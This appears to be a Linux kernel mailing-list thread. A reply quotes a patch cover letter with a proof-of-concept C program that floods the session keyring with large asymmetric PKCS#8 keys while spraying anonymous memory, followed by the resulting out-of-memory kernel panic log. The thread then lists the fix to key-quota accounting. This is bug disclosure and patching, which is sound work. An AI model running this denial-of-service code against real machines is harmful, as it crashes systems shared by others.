> for (size_t off = 0; off < bytes; off += (size_t)page_size)
> mapping[off] = (unsigned char)(off / (size_t)page_size);
>
> printf("[*] touched %zu MiB of anonymous memory\n", anon_mb);
> fflush(stdout);
> return mapping;
> }
>
> static unsigned long parse_u64(const char *name, const char *value)
> {
> char *end = NULL;
> unsigned long long out;
>
> errno = 0;
> out = strtoull(value, &end, 0);
> if (errno || !end || *end) {
> fprintf(stderr, "bad value for %s: %s\n", name, value);
> exit(1);
> }
>
> return (unsigned long)out;
> }
>
> int main(int argc, char **argv)
> {
> struct options opt = {
> .payload_size = 65000,
> .key_count = 178,
> .anon_mb = 700,
> .pause_secs = 0,
> .revoke_on_exit = false,
> };
> unsigned char *blob = NULL;
> size_t blob_len = 0;
> key_serial_t *serials = NULL;
> void *anon_mapping = NULL;
> size_t added = 0;
> char ring_name[64];
> int ret = 0;
>
> for (int i = 1; i < argc; i++) {
> if (!strcmp(argv[i], "--payload-size") && i + 1 < argc) {
> opt.payload_size = parse_u64("--payload-size", argv[++i]);
> } else if (!strcmp(argv[i], "--key-count") && i + 1 < argc) {
> opt.key_count = parse_u64("--key-count", argv[++i]);
> } else if (!strcmp(argv[i], "--anon-mb") && i + 1 < argc) {
> opt.anon_mb = parse_u64("--anon-mb", argv[++i]);
> } else if (!strcmp(argv[i], "--pause") && i + 1 < argc) {
> opt.pause_secs = parse_u64("--pause", argv[++i]);
> } else if (!strcmp(argv[i], "--revoke-on-exit")) {
> opt.revoke_on_exit = true;
> } else {
> usage(argv[0]);
> return 1;
> }
> }
>
> if (opt.payload_size > (1024U * 1024U - 128U)) {
> fprintf(stderr, "payload too large for add_key limit\n");
> return 1;
> }
>
> blob = build_pkcs8(opt.payload_size, &blob_len);
> if (!blob) {
> perror("build_pkcs8");
> return 1;
> }
>
> serials = calloc(opt.key_count, sizeof(*serials));
> if (!serials) {
> perror("calloc serials");
> free(blob);
> return 1;
> }
>
> snprintf(ring_name, sizeof(ring_name), "pkcs8-n6q-%ld", (long)getpid());
> if (keyctl_syscall(KEYCTL_JOIN_SESSION_KEYRING,
> (unsigned long)ring_name, 0, 0, 0) < 0) {
> perror("keyctl join_session_keyring");
> ret = 1;
> goto out;
> }
>
> printf("[*] payload_size=%zu blob_len=%zu key_count=%zu anon_mb=%zu\n",
> opt.payload_size, blob_len, opt.key_count, opt.anon_mb);
> fflush(stdout);
>
> anon_mapping = spray_anon(opt.anon_mb);
> if (opt.anon_mb && !anon_mapping) {
> ret = 1;
> goto out;
> }
>
> for (size_t i = 0; i < opt.key_count; i++) {
> char desc[32];
> long serial;
>
> snprintf(desc, sizeof(desc), "k%06zu", i);
> serial = add_key_syscall("asymmetric", desc, blob, blob_len,
> KEY_SPEC_SESSION_KEYRING);
> if (serial < 0) {
> fprintf(stderr,
> "[!] add_key failed after %zu keys: errno=%d (%s)\n",
> added, errno, strerror(errno));
> ret = 1;
> goto out;
> }
>
> serials[added++] = (key_serial_t)serial;
> if ((added % 10) == 0 || added == 1) {
> printf("[+] added %zu keys, last serial=%ld\n",
> added, serial);
> fflush(stdout);
> }
> }
>
> printf("[+] completed %zu successful add_key calls\n", added);
> fflush(stdout);
>
> if (opt.pause_secs) {
> printf("[*] sleeping for %u seconds\n", opt.pause_secs);
> fflush(stdout);
> sleep(opt.pause_secs);
> }
>
> out:
> if (opt.revoke_on_exit) {
> for (size_t i = 0; i < added; i++)
> keyctl_syscall(KEYCTL_REVOKE, serials[i], 0, 0, 0);
> }
>
> if (anon_mapping)
> munmap(anon_mapping, opt.anon_mb * 1024ULL * 1024ULL);
> free(serials);
> free(blob);
> return ret;
> }
>
> ------END poc.c--------
>
> ----BEGIN crash log----
>
> [ 291.603731][T10195] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
Drop time and task id when you send splats
> [ 291.604425][T10195] CPU: 1 UID: 1028 PID: 10195 Comm: poc Not tainted 6.12.74 #3
> [ 291.604946][T10195] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
> [ 291.605646][T10195] Call Trace:
> [ 291.605889][T10195] <TASK>
> [ 291.606112][T10195] dump_stack_lvl+0x3b/0x1f0
> [ 291.606466][T10195] panic+0x6fe/0x7e0
> [ 291.606767][T10195] ? dump_header+0x6c2/0x950
> [ 291.607117][T10195] ? __pfx_panic+0x10/0x10
> [ 291.607458][T10195] ? srso_alias_return_thunk+0x5/0xfbef5
> [ 291.607883][T10195] ? srso_alias_return_thunk+0x5/0xfbef5
> [ 291.608335][T10195] ? out_of_memory+0x8c5/0x16b0
> [ 291.608714][T10195] out_of_memory+0x8f3/0x16b0
> [ 291.609092][T10195] ? __pfx_out_of_memory+0x10/0x10
> [ 291.609483][T10195] ? lock_acquire+0x2f/0xb0
> [ 291.609824][T10195] ? __alloc_pages_noprof+0xd59/0x26d0
> [ 291.610258][T10195] __alloc_pages_noprof+0x1ec3/0x26d0
> [ 291.610688][T10195] ? srso_alias_return_thunk+0x5/0xfbef5
> [ 291.611102][T10195] ? hlock_class+0x4e/0x130
> [ 291.611463][T10195] ? srso_alias_return_thunk+0x5/0xfbef5
> [ 291.611885][T10195] ? __pfx___alloc_pages_noprof+0x10/0x10
> [ 291.612350][T10195] ? __pfx___lock_acquire+0x10/0x10
> [ 291.612755][T10195] ? __sanitizer_cov_trace_switch+0x54/0x90
> [ 291.613198][T10195] ? srso_alias_return_thunk+0x5/0xfbef5
> [ 291.613615][T10195] ? policy_nodemask+0xf2/0x4f0
> [ 291.613993][T10195] alloc_pages_mpol_noprof+0x2ce/0x610
> [ 291.614417][T10195] ? __pfx_alloc_pages_mpol_noprof+0x10/0x10
> [ 291.614859][T10195] ? srso_alias_return_thunk+0x5/0xfbef5
> [ 291.615294][T10195] ? srso_alias_return_thunk+0x5/0xfbef5
> [ 291.615709][T10195] ? xas_load+0x49/0x5b0
> [ 291.616038][T10195] ? filemap_get_entry+0xd5/0x3c0
> [ 291.616444][T10195] folio_alloc_noprof+0x23/0xd0
> [ 291.616820][T10195] filemap_alloc_folio_noprof+0x35d/0x420
> [ 291.617244][T10195] ? __pfx_filemap_alloc_folio_noprof+0x10/0x10
> [ 291.617694][T10195] ? filemap_fault+0x631/0x2800
> [ 291.618086][T10195] __filemap_get_folio+0x53e/0xaf0
> [ 291.618499][T10195] filemap_fault+0x675/0x2800
> [ 291.618878][T10195] ? __pfx_filemap_fault+0x10/0x10
> [ 291.619284][T10195] ? do_pte_missing+0x165a/0x3ff0
> [ 291.619662][T10195] ? __pfx_lock_release+0x10/0x10
> [ 291.620055][T10195] ? __pfx_filemap_map_pages+0x10/0x10
> [ 291.620471][T10195] __do_fault+0x10f/0x4a0
> [ 291.620800][T10195] ? __pfx_filemap_map_pages+0x10/0x10
> [ 291.621210][T10195] do_pte_missing+0x174c/0x3ff0
> [ 291.621585][T10195] ? srso_alias_return_thunk+0x5/0xfbef5
> [ 291.622002][T10195] ? reacquire_held_locks+0x20b/0x4c0
> [ 291.622399][T10195] ? lock_vma_under_rcu+0x143/0x980
> [ 291.622797][T10195] __handle_mm_fault+0xfa3/0x2a10
> [ 291.623201][T10195] ? __pfx_lock_release+0x10/0x10
> [ 291.623574][T10195] ? down_read_trylock+0x1f0/0x3f0
> [ 291.623959][T10195] ? __pfx___handle_mm_fault+0x10/0x10
> [ 291.624373][T10195] ? __pfx_down_read_trylock+0x10/0x10
> [ 291.624818][T10195] ? __pfx_lock_vma_under_rcu+0x10/0x10
> [ 291.625252][T10195] handle_mm_fault+0x3f5/0xa00
> [ 291.625639][T10195] do_user_addr_fault+0x50a/0x1490
> [ 291.626067][T10195] exc_page_fault+0x5d/0xe0
> [ 291.626421][T10195] asm_exc_page_fault+0x26/0x30
> [ 291.626781][T10195] RIP: 0033:0x7f7f7505e080
> [ 291.627107][T10195] Code: Unable to access opcode bytes at 0x7f7f7505e056.
> [ 291.627583][T10195] RSP: 002b:00007ffc585a1b08 EFLAGS: 00010202
> [ 291.628015][T10195] RAX: 00007ffc585a2120 RBX: 00007ffc585a2040 RCX: 0000000000000002
> [ 291.628553][T10195] RDX: 00007ffc585a2100 RSI: 0000000000000025 RDI: 0000560a6a8580a7
> [ 291.629082][T10195] RBP: 00007ffc585a2210 R08: 00007ffc585a2230 R09: 0000000000000058
> [ 291.629623][T10195] R10: 00007ffc585a2210 R11: 0000000000000246 R12: 0000560a6bf4d2a0
> [ 291.630161][T10195] R13: 0000560a6bf5d0b0 R14: 00007ffc585a2100 R15: 0000560a6a8580a7
> [ 291.630738][T10195] </TASK>
> [ 291.631265][T10195] Kernel Offset: disabled
> [ 291.631642][T10195] Rebooting in 86400 seconds..
>
> -----END crash log-----
>
> Best regards,
> Yuqi Xu
>
> Yuqi Xu (1):
> KEYS: Account for asymmetric key payload data in the quota
>
> crypto/asymmetric_keys/pkcs8_parser.c | 2 +-
> crypto/asymmetric_keys/x509_public_key.c | 23 ++++++++++++++++++++++-
> 2 files changed, 23 insertions(+), 2 deletions(-)
>
>
> base-commit: 10396a2d6d41d594975b6ece712278570c3c970c
> --
> 2.55.0
>
>
Thanks
^ permalink raw reply [flat|nested] 4+ messages in thread
end of thread, other threads:[~2026-09-25 16:12 UTC | newest]
Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-09-19 8:45 [PATCH 0/1] KEYS: Account for asymmetric key payload data in the quota Yuqi Xu
2026-09-19 8:45 ` [PATCH 1/1] " Yuqi Xu
2026-09-20 7:35 ` Yuqi Xu
2026-09-25 16:12 ` [PATCH 0/1] " Ignat Korchagin
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox